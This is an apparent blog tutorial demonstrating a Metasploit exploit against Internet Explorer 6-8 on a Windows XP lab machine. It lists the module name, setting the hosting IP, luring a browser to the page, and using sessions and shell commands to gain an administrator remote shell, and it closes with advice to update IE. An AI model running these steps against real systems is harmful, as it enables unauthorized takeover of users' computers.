The end of the year saw several zero day exploits being released. One for RealPlayer version 15 and under, one for Nvidia Video Cards, and what we will focus on today, a remote exploit for Internet Explorer Version 6-8. The Internet Explorer Zero-Day exploit that was publicly acknowledged on December 29th, affects Windows XP SP3, Vista, Windows 7 and Server 2003 and 2008. Systems running IE 9 and 10 are not affected.
The exploit code has been publicly released and has already been added to Metasploit. We will demonstrate the exploit using Backtrack 5r3 and a Windows XP sp3 system.
So let’s get started.
- Boot up your Backtrack 5 system and run the msfupdate command to make sure you get the latest exploits.
(Had a heck of a time with running the updates lately. Most recently it seemed to hang on updating an outlook.rb file. I got by it earlier by deleting the file and re-running the update. But for this example we won’t be needing it, so you can just hit (p) for postpone if it hangs on updating it.)
- Next start the msfconsole.
- Now you can search for the internet explorer exploit by typing “search internet explorer” or by just typing it in as below.
At the msf> prompt type:
- use exploit/windows/browser/ie_cbutton_uaf
Then type “show options” to see what options can be set:
Okay, we will need to set the SRVHOST option to point to our Backtrack system. And we can change the URIPATH to something else other than random if we want. But first, let’s set the target as it defaults to Windows 7, and our target in this example is a Windows XP system:
Next, set the IP address of your Backtrack system:
- set SRVHOST 192.168.0.120
And finally run the exploit:
Okay, at this point Metasploit starts up the Apache web server,creates the exploit and creates a random page to host it on. Now all we need is to surf to the URL given to us by Backtrack 5 using Internet Explorer on the Windows XP system:
That is it!
As soon as the user surfs to our Backtrack page, the exploit is run and a remote session is created:
(Note: There were no real warnings or alerts on the Windows XP side. It just seemed that the webpage didn’t do anything.)
We can type “sessions -l” to list all the remote shell sessions that Backtrack has created.
As you can see our Windows XP session is listed. Now if we simply connect to the session interactively (sessions -i 1), and run “getuid” we see that we have an administrator level shell:
And simply running “shell” drops us into the full remote shell:
So how do we stop this attack? If you are running older versions of Internet Explorer, UPDATE NOW! This attack does not work against the latest version of IE. Microsoft was supposed to release a patch for older IE versions today, to stop this attack, but they didn’t do it.
And with the fix really being to simply upgrade to the newest version, they probably won’t any time soon.
The fix is also the same with the RealPlayer and Nvidia Zero-days that I mentioned earlier. Simply download the latest updates of the software to protect against the exploits.